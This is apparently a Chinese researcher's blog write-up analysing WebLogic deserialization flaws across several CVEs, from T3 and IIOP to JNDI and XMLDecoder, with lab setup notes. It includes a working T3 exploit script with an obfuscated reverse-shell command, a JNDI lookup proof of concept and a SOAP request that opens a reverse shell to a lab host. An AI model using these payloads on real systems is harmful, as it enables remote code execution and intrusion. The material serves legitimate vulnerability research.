前言 早在四月份就想搞了,因为看到有人拿这个水洞,可是环境一直有问题就耽搁下来了,直到最近在实战中又遇到了,就又重新试试环境,结果发现docker的问题,真是绕了好大一圈,也不知道还能不能挖出来cve(照着箭心画靶子)
WebLogic 是由 Oracle 提供的一个企业级应用服务器(类似于自带各种组件的Tomcat),支持 Java EE规范。它是一款全功能的应用服务器,具备高可扩展性,高效的应用集群,负载均衡能力和复杂的企业级服务,提供了丰富的管理控制台,允许管理员通过图形界面进行服务器配置、部署、监控等
环境搭建 搭环境遇到了很多问题,什么年代了还用centos(狗头),这是我最后成功的dockerfile
1 2 3 4 5 6 7 8 9 10 11 12 13 FROM centos:8 ARG JDK_PKG ARG WEBLOGIC_JAR RUN rm -f /etc/yum.repos.d/* RUN curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-8.repo RUN yum clean all RUN yum makecache RUN yum install -y libnsl
注意: 还有不用了一定把docker对应的容器给关了,实在不行重启可以解决百分之80的问题
配置远程调试 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk8u202 weblogic1036jdk8u202 docker exec -it weblogic /bin/bash vi /root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh debugFlag="true" export debugFlag quit docker restart 容器id docker cp weblogic:/root ./weblogic_jars copy /Y "E:\user\Desktop\java\weblogic\weblogic_10.3.6\Oracle\Middleware\wlserver_10.3\sip\server\lib\wlss_i18n.jar" ".\test"
终于成了,十分有九分的不容易
T3协议 Java RMI 的基础通信协议是 JRMP,而WebLogic T3协议是Oracle WebLogic Server中用于通信的协议之一。它基于Java语言,通过TCP/IP协议进行通信,通常使用在Java EE应用程序与WebLogic Server之间的通信中。
默认情况下,管理控制台的端口是 7001,应用是 7003,节点管理器是 5556,初次部署时需要注意让防火墙放行这三个端口。
因为第一部分会校验数据包长度,如果长度不匹配weblogic会报java.io.EOFException异常。 通过构造第一部分的非Java数据(前4个字节为数据长度)+第二部分拼接我们恶意的序列化数据,即可触发漏洞。
发送协议脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from os import popenimport struct import subprocessfrom sys import stdoutimport socketimport reimport binasciidef generatePayload (gadget, cmd ): YSO_PATH = "/home/bmth/web/ysoserial-0.0.6-SNAPSHOT-all.jar" popen = subprocess.Popen(['java' , '-jar' , YSO_PATH, gadget, cmd], stdout=subprocess.PIPE) return popen.stdout.read() def T3Exploit (ip, port, payload ): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((ip, port)) handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" sock.sendall(handshake.encode()) data = sock.recv(1024 ) data += sock.recv(1024 ) compile = re.compile ("HELO:(.*).0.false" ) print (data.decode()) match = compile .findall(data.decode()) if match: print ("Weblogic: " + "" .join(match)) else : print ("Not Weblogic" ) return header = binascii.a2b_hex(b"00000000" ) t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006" ) desflag = binascii.a2b_hex(b"fe010000" ) payload = header + t3header + desflag + payload payload = struct.pack(">I" , len (payload)) + payload[4 :] sock.send(payload) if __name__ == "__main__" : ip = "192.168.111.178" port = 7001 gadget = "CommonsCollections1" cmd = "bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4xMTEuMTc4LzY2NjYgPCYxJw==}|{base64,-d}|{bash,-i}" payload = generatePayload(gadget, cmd) T3Exploit(ip, port, payload)
因为发送脚本没有太大变化,下面就只分析发送的payload
T3反序列化 CVE-2015-4852 漏洞点处于wlthint3client.jar!\weblogic\rjvm\InboundMsgAbbrev.class#readObject
,该方法会反序列化我们传入的payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 private Object readObject (MsgAbbrevInputStream var1) throws IOException, ClassNotFoundException { int var2 = var1.read(); switch (var2) { case 0 : return (new ServerChannelInputStream(var1)).readObject(); case 1 : return var1.readASCII(); default : throw new StreamCorruptedException("Unknown typecode: '" + var2 + "'" ); } ...... private static class ServerChannelInputStream extends ObjectInputStream implements ServerChannelStream { private final ServerChannel serverChannel; private ServerChannelInputStream (MsgAbbrevInputStream var1) throws IOException { super (var1); this .serverChannel = var1.getServerChannel(); }
修复就是直接在ServerChannelInputStream#resolveClass 里设置黑名单
resolveClass 这里直接看ObjectInputStream#resolveClass,可以看到所有类的初始化都会在resolveClass方法中进行,如果重写了该方法,就可以有效的设置黑名单,ctf中也经常遇到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 protected Class<?> resolveClass(ObjectStreamClass desc)throws IOException, ClassNotFoundException { String name = desc.getName(); try { return Class.forName(name, false , latestUserDefinedLoader()); } catch (ClassNotFoundException ex) { Class cl = (Class) primClasses.get(name); if (cl != null ) { return cl; } else { throw ex; } }
1 2 3 4 5 6 resolveClass:680, ObjectInputStream (java.io) readNonProxyDesc:1859, ObjectInputStream (java.io) readClassDesc:1745, ObjectInputStream (java.io) readOrdinaryObject:2033, ObjectInputStream (java.io) readObject0:1567, ObjectInputStream (java.io) readObject:427, ObjectInputStream (java.io)
CVE-2016-0638 二次反序列化的理念 那么怎么绕过resolveClass,前面说了这个黑名单限制经常在ctf中用来出题(当然我做的ctf题目肯定没这个cve早),ctf中有一种绕过方法,就是二次反序列化 ,最经典的莫过于原生的java.security.SignedObject#getObject()及在一个方法中再次反序列化,只要readobject在到达该方法前没有触发黑名单,就可以绕过
Externalizable接口 Externalizable接口继承了Serializable接口,所以实现Externalizable接口也能实现序列化和反序列化。 Externalizable接口中定义了writeExternal和readExternal两个抽象方法,通过注释,可以看出这两个方法其实对应Serializable接口的writeObject和readObject方法。
readExternal 需要开发者手动处理对象的每一个字段的读取过程。它不像 Serializable 那样有默认的机制,而是需要手动指定如何从流中读取每个字段的值。
1 2 3 4 public void readExternal (ObjectInput in) throws IOException, ClassNotFoundException { someField = in.readInt(); anotherField = in.readUTF(); }
在调用readObject()时,如果类实现的是Externalizable接口,则会调用readExternal方法
StreamMessageImpl#readExternal 找到了个黑名单之外的类weblogic.jms.common.StreamMessageImpl#readExternal 会readObject一部分传入的payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public void readExternal (ObjectInput var1) throws IOException, ClassNotFoundException { super .readExternal(var1); byte var2 = var1.readByte(); byte var3 = (byte )(var2 & 127 ); if (var3 >= 1 && var3 <= 3 ) { switch (var3) { case 1 : this .payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1); BufferInputStream var4 = this .payload.getInputStream(); ObjectInputStream var5 = new ObjectInputStream(var4); this .setBodyWritable(true ); this .setPropertiesWritable(true ); try { while (true ) { this .writeObject(var5.readObject());
CVE-2016-0638 这是对补丁的另一个绕过方法
readResolve **默认方法readResolve()**是Serializable 接口的一部分。当一个对象被反序列化时,readResolve方法会在readObject之后调用
及在调用readObject()时,如果被反序列化的这个类有重写readResolve方法 ,则会调用
MarshalledObject#readResolve weblogic.corba.utils.MarshalledObject#readResolve 会readObject一个参数,造成二次反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public final class MarshalledObject implements Serializable { private byte [] objBytes = null ; private int hash; public MarshalledObject (Object obj) throws IOException { if (obj == null ) { this .hash = 13 ; } else { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream out = new MarshalledObjectOutputStream(baos); out.writeObject(obj); out.flush(); this .objBytes = baos.toByteArray(); int h = 0 ; for (int i = 0 ; i < this .objBytes.length; ++i) { h = 31 * h + this .objBytes[i]; } this .hash = h; } } .................... public Object readResolve () throws IOException, ClassNotFoundException, ObjectStreamException { if (this .objBytes == null ) { return null ; } else { ByteArrayInputStream bin = new ByteArrayInputStream(this .objBytes); ObjectInputStream in = new ObjectInputStream(bin); Object obj = in.readObject(); in.close(); return obj; } }
我们在序列化时,构造方法封装上恶意的objBytes,在反序列化readObject触发readResolve时就可以二次反序列化了
CVE-2017-3248 通过JRMP 协议达到执行任意反序列化
1 2 3 4 5 6 7 8 9 10 ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false )); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(BypassPayloadSelector.class.getClassLoader(), new Class[]{ Registry.class }, obj); return proxy; }
反序列化分析
在proxy的反序列化的过程中会实例化对应的InvocationHandler,于是就调用了InvocationHandler的readObject方法 (不知道为什么非要套一层proxy,我本地试的是可以直接反序列化的)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 public abstract class RemoteObject implements Remote , java .io .Serializable {................ private void readObject (java.io.ObjectInputStream in) throws java.io.IOException, java.lang.ClassNotFoundException {.................................... ref.readExternal(in); } .................................... public void readExternal (ObjectInput var1) throws IOException, ClassNotFoundException { this .ref = LiveRef.read(var1, false ); } public static LiveRef read (ObjectInput var0, boolean var1) throws IOException, ClassNotFoundException { TCPEndpoint var2; if (var1) { var2 = TCPEndpoint.read(var0); } else { var2 = TCPEndpoint.readHostPortFormat(var0); } ObjID var3 = ObjID.read(var0); boolean var4 = var0.readBoolean(); LiveRef var5 = new LiveRef(var3, var2, false ); if (var0 instanceof ConnectionInputStream) { ConnectionInputStream var6 = (ConnectionInputStream)var0; var6.saveRef(var5); if (var4) { var6.setAckNeeded(); } } else { DGCClient.registerRefs(var2, Arrays.asList(var5)); } ................................................. static void registerRefs (Endpoint var0, List<LiveRef> var1) { EndpointEntry var2; do { var2 = DGCClient.EndpointEntry.lookup(var0); } while (!var2.registerRefs(var1)); }
其他绕过 也可以直接反序列化UnicastRef对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public Registry getObject (final String command) throws Exception { String host; int port; int sep = command.indexOf(':' ); if (sep < 0 ) { port = new Random().nextInt(65535 ); host = command; } else { host = command.substring(0 , sep); port = Integer.valueOf(command.substring(sep + 1 )); } ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false )); return ref;
也可以寻找RemoteObject的其他子类(反正调的是父类RemoteObject的readobject),如ReferenceWrapper_Stub
CVE-2020-2555 CVE-2020-2555 BadAttributeValueExpException+LimitFilter.toString()引起的任意方法调用 CVE-2020-2883 上面链子compare方法也能触发,改用PriorityQueue调用compare方法
RMI-IIOP RMI-IIOP 是 RMI 的一个扩展,使得 Java 程序可以与使用 CORBA(Common Object Request Broker Architecture)标准的其他语言编写的程序进行互操作。通过 IIOP 协议进行远程调用 Weblogic IIOP协议默认开启,跟T3协议一起监听在7001或其他端口。
基本使用 1 2 3 4 5 6 7 8 9 10 11 MyRemoteObject remoteObject = new MyRemoteObject(); Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory" ); env.put(Context.PROVIDER_URL, "iiop://172.16.1.128:7001" ); Context ctx = new InitialContext(env); ctx.rebind("myRemoteObject" , remoteObject); MyRemoteObject remoteObj = (MyRemoteObject) ctx.lookup("myRemoteObject" );
IIOP反序列化漏洞 可以看出在使用上RMI-IIOP和rmi没有太大的区别,那么RMI攻击注册端的思路是不是也可以使用
CVE-2020-2551 bind操作的时候会将被绑定的对象进行序列化并发送到IIOP服务端,在服务端进行反序列化
在XXL-JOB我们分析过org/springframework/jndi/JndiTemplate#lookup
是存在lookup利用点的,weblogic同样存在spring frame,所以可以利用JtaTransactionManager
反序列化进行jndi
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public class JtaTransactionManager extends AbstractPlatformTransactionManager implements TransactionFactory , InitializingBean , Serializable {......................................................... private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException { ois.defaultReadObject(); this .jndiTemplate = new JndiTemplate(); this .initUserTransactionAndTransactionManager(); this .initTransactionSynchronizationRegistry(); } ......................................................... protected void initUserTransactionAndTransactionManager () throws TransactionSystemException { if (this .userTransaction == null ) { if (StringUtils.hasLength(this .userTransactionName)) { this .userTransaction = this .lookupUserTransaction(this .userTransactionName); this .userTransactionObtainedFromJndi = true ; } else { this .userTransaction = this .retrieveUserTransaction(); } } ......................................................... protected UserTransaction lookupUserTransaction (String userTransactionName) throws TransactionSystemException { try { if (this .logger.isDebugEnabled()) { this .logger.debug("Retrieving JTA UserTransaction from JNDI location [" + userTransactionName + "]" ); } return (UserTransaction)this .getJndiTemplate().lookup(userTransactionName, UserTransaction.class); }
POC网络问题 一开始我怎么也抓不到调试,找了好久找到了这篇文章https://xz.aliyun.com/t/7498?time__1311=n4%2BxnD0Dy7GQ3AKee05%2BbWGOiGC7e8e%3Dw74D
,才知道Weblogic直接使用本地ip地址作为bind地址,所以该poc只能在内网或者双方都有出网ip的网络,NAT 网络访问不到,而我搭建的Weblogic的docker在虚拟机里,为了方便poc没打包直接本地运行,所以访问错误
网上的方法是修改weblogic\iiop\IOPProfile.class,写死ip,重新打包 也可以利用类的解析顺序,在当前项目创造一个一模一样的类路径修改,read方法即可
CVE-2023-21839 。weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并且实现了getReferent方法,并且存在retVal = context.lookup(this.remoteJNDIName)实现,故可以通过rmi/ldap远程协议进行远程命令执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory" ; String url = "t3://192.168.58.130:7001" ; Hashtable env1 = new Hashtable(); env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env1.put(Context.PROVIDER_URL, url); InitialContext c = new InitialContext(env1); Hashtable env2 = new Hashtable(); env2.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory" ); ForeignOpaqueReference f = new ForeignOpaqueReference(); Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment" ); jndiEnvironment.setAccessible(true ); jndiEnvironment.set(f, env2); Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName" ); remoteJNDIName.setAccessible(true ); String ldap = "ldap://k3f1jk.dnslog.cn/Basic/Command/calc" ; remoteJNDIName.set(f, ldap); c.rebind("sectest" , f); try { c.lookup("sectest" ); } catch (Exception e) { }
lookup查看远程对象,触发getObjectInstance函数
1 2 3 4 getObjectInstance:96, WLNamingManager (weblogic.jndi.internal) resolveObject:377, ServerNamingNode (weblogic.jndi.internal) resolveObject:856, BasicNamingNode (weblogic.jndi.internal) lookup:209, BasicNamingNode (weblogic.jndi.internal)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 package weblogic.jndi.internal;public final class WLNamingManager { public static Object getObjectInstance (Object var0, Name var1, Context var2, Hashtable var3) throws NamingException { if (var0 instanceof OpaqueReference) { var0 = ((OpaqueReference)var0).getReferent(var1, var2); } .......................................... package weblogic.deployment.jms;public class ForeignOpaqueReference implements ForeignOpaqueTag , OpaqueReference , Serializable { private static String AQJMS_QPREFIX = "Queues/" ; private static String AQJMS_TPREFIX = "Topics/" ; private Hashtable jndiEnvironment; private String remoteJNDIName; AbstractSubject var3 = SubjectManager.getSubjectManager().getCurrentSubject(KERNEL_ID); InitialContext var4; if (this .jndiEnvironment == null ) { var4 = new InitialContext(); } else { if (this .jndiEnvironment.get("java.naming.factory.initial" ) == null ) { this .jndiEnvironment.put("java.naming.factory.initial" , "weblogic.jndi.WLInitialContextFactory" ); } var4 = new InitialContext(this .jndiEnvironment); } ......................................... Object var5; try { if (this .jndiEnvironment == null || !AQJMS_ICF.equals(this .jndiEnvironment.get("java.naming.factory.initial" )) || this .remoteJNDIName == null || !this .remoteJNDIName.startsWith(AQJMS_QPREFIX) && !this .remoteJNDIName.startsWith(AQJMS_TPREFIX)) { var5 = var4.lookup(this .remoteJNDIName); }else { synchronized (this ) { if (this .cachedReferent == null ) { this .cachedReferent = var4.lookup(this .remoteJNDIName); } }
感觉不是很难
后续绕过CVE-2024-20931
补丁是检测了remoteJNDIName必须以java开头 但是还能到 var4 = new InitialContext(this.jndiEnvironment);
,而在在oracle.jms.AQjmsInitialContextFactory进行初始化会调用lookup
后续 本来是奔的挖cve来的,但是不知道为什么自己的tabby分析多个jar包一直找不到类,也没个报错,再加上连着几天搞weblogic自己有点乏了,src挖到的目标也没开IIOP,先放放吧
XMLDecoder反序列化 漏洞引发的原因是Weblogic wls-wsat组件在反序列化操作时使用了Oracle官方的JDK组件中XMLDecoder类 进行XML反序列化操作引发了代码执行。也就说XMLDecoder类在解析XML文件的时候出现了反序列化问题
CVE-2017-3506 存在问题的路由
1 2 3 4 5 6 7 8 /wls-wsat/CoordinatorPortType /wls-wsat/CoordinatorPortType11 /wls-wsat/ParticipantPortType /wls-wsat/ParticipantPortType11 /wls-wsat/RegistrationPortTypeRPC /wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/RegistrationRequesterPortType /wls-wsat/RegistrationRequesterPortType11
XMLDecoder反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 POST /wls-wsat/ParticipantPortType HTTP/1.1 Host: 192.168.58.130:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0 Content-Type: text/xml Content-Length: 5128 <soapenv:Envelope xmlns:soapenv ="http://schemas.xmlsoap.org/soap/envelope/" > <soapenv:Header > <work:WorkContext xmlns:work ="http://bea.com/2004/06/soap/workarea/" > <java > <object class ="java.lang.ProcessBuilder" > <array class ="java.lang.String" length ="3" > <void index ="0" > <string > /bin/bash</string > </void > <void index ="1" > <string > -c</string > </void > <void index ="2" > <string > bash -i >& /dev/tcp/192.168.111.178/6666 0>&1</string > </void > </array > <void method ="start" /> </object > </java > </work:WorkContext > </soapenv:Header > <soapenv:Body /> </soapenv:Envelope >